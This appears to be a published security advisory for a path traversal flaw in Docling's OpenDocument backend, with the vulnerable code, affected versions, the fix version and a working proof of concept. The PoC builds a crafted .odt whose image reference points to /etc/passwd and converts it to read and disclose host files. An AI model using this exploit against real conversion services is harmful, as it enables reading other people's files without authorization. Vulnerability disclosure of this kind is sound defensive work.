GHSA-4xhp-xg4w-8ppm: Path Traversal

Published Oct 5, 2026
·
Updated

Summary The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from content.xml, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the enablelocalfetch / enableremotefetch controls that the other backends use for exactly this decision. Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target decodes as an image, its complete contents are embedded in the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports. Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries. Affected component docling/backend/opendocumentbackend.py, in imagereffromodfimage: python imageurl = odfimagehref(image) ... if imagedata is None and odfobj is not None and imageurl: try: imagedata = odfobj.getpart(imageurl) except Exception: imagedata = None if imagedata is None and imageurl: imagepath = Path(imageurl) if imagepath.isfile(): imagedata = imagepath.readbytes() odfimagehref returns the xlink:href attribute. The in-archive lookup is attempted first; when it fails, the same string is handed to Path and read from disk. The only filter on the way in is odfimagecanbebitmap, which admits any path whose suffix is one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them. The backend does not use the project's own fetch controls $ grep -n "enablelocalfetch\|enableremotefetch\|imageresourceloader" \ docling/backend/opendocumentbackend.py $ Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through docling/backend/utils/imageresourceloader.py, where enablelocalfetch and enableremotefetch both default to False. The ODF backend reimplements image loading and does not consult either, so the default of not fetching local resources is not applied on this path. That is the substance of the report: the control exists, it is off by default, and this backend does not reach it. Affected versions Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF image/table handling" (#3480), 2026-06-24. First released in v2.107.0. Affected: docling >= 2.107.0, up to and including 2.117.0 and current main (52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1). Subsequent commits touching this file — 2c3e55b3 (skip a draw:object with a missing embedded part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports) — address unrelated defects and leave the path resolution unchanged. Reproduced on two independent machines: | | | |---|---| | Python 3.12.3 | docling-slim 2.117.0, docling-core 2.88.0, odfdo 3.23.1 | | Python 3.14.4 | same releases, and again against main clones on sys.path | Proof of concept Trigger An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part. python import zipfile CONTENT = ( '<?xml version="1.0"?><office:document-content ' 'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' 'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" ' 'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" ' 'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">' '<office:body><office:text><text:p>' '<draw:frame><draw:image xlink:href="{href}"/></draw:frame>' '</text:p></office:text></office:body></office:document-content>' ) def build(path, href): with zipfile.ZipFile(path, "w", zipfile.ZIPDEFLATED) as z: zi = zipfile.ZipInfo("mimetype", datetime=(1980, 1, 1, 0, 0, 0)) zi.compresstype = zipfile.ZIPSTORED z.writestr(zi, "application/vnd.oasis.opendocument.text") zi = zipfile.ZipInfo("content.xml", datetime=(1980, 1, 1, 0, 0, 0)) zi.compresstype = zipfile.ZIPDEFLATED z.writestr(zi, CONTENT.format(href=href)) build("odtetcpasswd.odt", "/etc/passwd") build("odtcontrol.odt", "Pictures/image1.png") With the fixed archive timestamp above the artifacts are byte-reproducible: | File | Bytes | sha256 | |---|---|---| | odtetcpasswd.odt | 452 | edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634 | | odtcontrol.odt | 458 | da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6 | Without the fixed timestamp the archive size varies by a few bytes with the length of the href string, which is the only part that changes. Conversion — public API, default install, no options set python from pathlib import Path from docling.documentconverter import DocumentConverter from doclingcore.types.doc import ImageRefMode doc = DocumentConverter().convert(Path("trigger.odt")).document print(doc.exporttohtml(imagemode=ImageRefMode.EMBEDDED)) The read itself is observed with sys.addaudithook, which records every open without modifying Docling or any dependency. A self-contained script, odfrepro.py, is attached. It creates its own canary image in a fresh temporary directory, builds the trigger and the control, converts both, and reports the read, the disclosure in each export format, and ten consecutive repetitions. Output — disclosure python 3.14.4 docling /home/asus/CVE/docling/docling/init.py canary /tmp/odfcanaryeoz72d8/canary.png (104 B, sha256 b9c57d2dc728be7f) trigger odftrigger.odt (471 B, sha256 341d060294c90447) file opened outside document : True ['/tmp/odfcanaryeoz72d8/canary.png', ...] contents present in html : True contents present in markdown : True contents present in json : True control (in-archive href) : disclosed=False determinism : 10/10 ---------------------------------------------------------------------- RESULT: REPRODUCED ---------------------------------------------------------------------- The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly. The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside the archive and discloses nothing, through the same function. That is what separates this from intended behaviour. Output — read of a non-image path The read happens before any decoding is attempted, so it is not confined to image files. /etc/passwd status=success opened=['/etc/passwd'] /etc/doesnotexist9c1f status=success opened=[] Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths. Impact Confirmed by execution, default install, no options set: 1. Arbitrary local file read. A converted document names an absolute path and Docling opens it. Observed for /etc/passwd and for paths with no extension. 2. Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way. 3. Full content disclosure. Where the target decodes as an image, its bytes are embedded in the DoclingDocument and appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight. Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is an accepted input format there, json is an accepted output format, and the service defaults to binding 0.0.0.0 with DOCLINGSERVEAPIKEY unset, so on the face of it the same defect is reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am raising it for you to check rather than presenting it as a result.

Affected Software

1 affected componentFixes available
pip/docling>=2.107.0<2.120.3
2.120.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/docling to a version that resolves this vulnerability.

    Fixed in 2.120.3

Event History

Oct 5, 2026
Advisory Published
via GitHub·10:33 PM
Data Sourced
via GitHub·10:33 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Do the local or remote fetch controls prevent this behavior in the ODF backend?

No. The ODF backend does not consult the enable_local_fetch or enable_remote_fetch controls before treating a missing archive part reference as a filesystem path.

2

What condition causes the backend to access the host filesystem?

The fallback occurs when the xlink:href referenced by a draw:image element is not found as a part inside the document archive. The attacker-controlled value is then used as a path without scheme checking or confinement to the extraction directory.

3

When can data from a referenced local file be exposed in conversion output?

If the referenced target decodes as an image, its complete contents are embedded in the resulting DoclingDocument. The contents can then appear in HTML, Markdown, and JSON exports.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203